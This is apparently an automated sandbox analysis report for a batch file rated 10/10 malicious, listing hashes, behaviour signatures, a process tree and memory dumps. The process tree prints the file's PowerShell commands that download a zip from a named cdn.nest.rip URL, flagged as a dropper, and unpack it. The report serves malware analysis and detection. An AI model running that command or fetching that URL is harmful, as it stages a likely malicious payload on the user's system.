1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1561s
max time network
1567s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 10:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

tesy - Copy (12).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2416	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2416	powershell.exe
2832	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2416	powershell.exe
Token: SeDebugPrivilege	2832	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2108 wrote to memory of 2416	2108	cmd.exe	29
PID 2108 wrote to memory of 2416	2108	cmd.exe	29
PID 2108 wrote to memory of 2416	2108	cmd.exe	29
PID 2108 wrote to memory of 2832	2108	cmd.exe	30
PID 2108 wrote to memory of 2832	2108	cmd.exe	30
PID 2108 wrote to memory of 2832	2108	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2832

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
1052acecfe65b19b99e69f930f295601

SHA1
521095f854ff4e61872fadc9b641c004048d80be

SHA256
ffc3f3ef589230de896c8d3060d93021696e9aa5be0e1227711d1b20c7e4eb69

SHA512
5dad6e0b20442e30249953961857fcbab983048516a1f3fb91e5034ff2210778c9a4fe0a5473664957b1584c5dd4c6d12bac7a0500ee4ea6f2a589a9dca61801

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7ND4PS2Y6R2WCDZJ2JDJ.temp

Filesize
7KB

MD5
1052acecfe65b19b99e69f930f295601

SHA1
521095f854ff4e61872fadc9b641c004048d80be

SHA256
ffc3f3ef589230de896c8d3060d93021696e9aa5be0e1227711d1b20c7e4eb69

SHA512
5dad6e0b20442e30249953961857fcbab983048516a1f3fb91e5034ff2210778c9a4fe0a5473664957b1584c5dd4c6d12bac7a0500ee4ea6f2a589a9dca61801

Download Submit
memory/2416-17-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Filesize
9.6MB

Download
memory/2416-6-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Filesize
9.6MB

Download
memory/2416-8-0x00000000029C0000-0x0000000002A40000-memory.dmp

Filesize
512KB

Download
memory/2416-9-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Filesize
9.6MB

Download
memory/2416-10-0x00000000029C0000-0x0000000002A40000-memory.dmp

Filesize
512KB

Download
memory/2416-11-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Filesize
9.6MB

Download
memory/2416-12-0x00000000029C0000-0x0000000002A40000-memory.dmp

Filesize
512KB

Download
memory/2416-14-0x00000000029C0000-0x0000000002A40000-memory.dmp

Filesize
512KB

Download
memory/2416-13-0x00000000029C0000-0x0000000002A40000-memory.dmp

Filesize
512KB

Download
memory/2416-5-0x0000000001DD0000-0x0000000001DD8000-memory.dmp

Filesize
32KB

Download
memory/2416-7-0x00000000029C0000-0x0000000002A40000-memory.dmp

Filesize
512KB

Download
memory/2416-4-0x000000001B410000-0x000000001B6F2000-memory.dmp

Filesize
2.9MB

Download
memory/2416-15-0x00000000029C0000-0x0000000002A40000-memory.dmp

Filesize
512KB

Download
memory/2832-24-0x000007FEF4B00000-0x000007FEF549D000-memory.dmp

Filesize
9.6MB

Download
memory/2832-23-0x000000001B180000-0x000000001B462000-memory.dmp

Filesize
2.9MB

Download
memory/2832-26-0x000007FEF4B00000-0x000007FEF549D000-memory.dmp

Filesize
9.6MB

Download
memory/2832-25-0x00000000025E0000-0x00000000025E8000-memory.dmp

Filesize
32KB

Download
memory/2832-27-0x0000000002500000-0x0000000002580000-memory.dmp

Filesize
512KB

Download
memory/2832-28-0x0000000002500000-0x0000000002580000-memory.dmp

Filesize
512KB

Download
memory/2832-29-0x0000000002500000-0x0000000002580000-memory.dmp

Filesize
512KB

Download
memory/2832-30-0x0000000002500000-0x0000000002580000-memory.dmp

Filesize
512KB

Download
memory/2832-31-0x000007FEF4B00000-0x000007FEF549D000-memory.dmp

Filesize
9.6MB

Download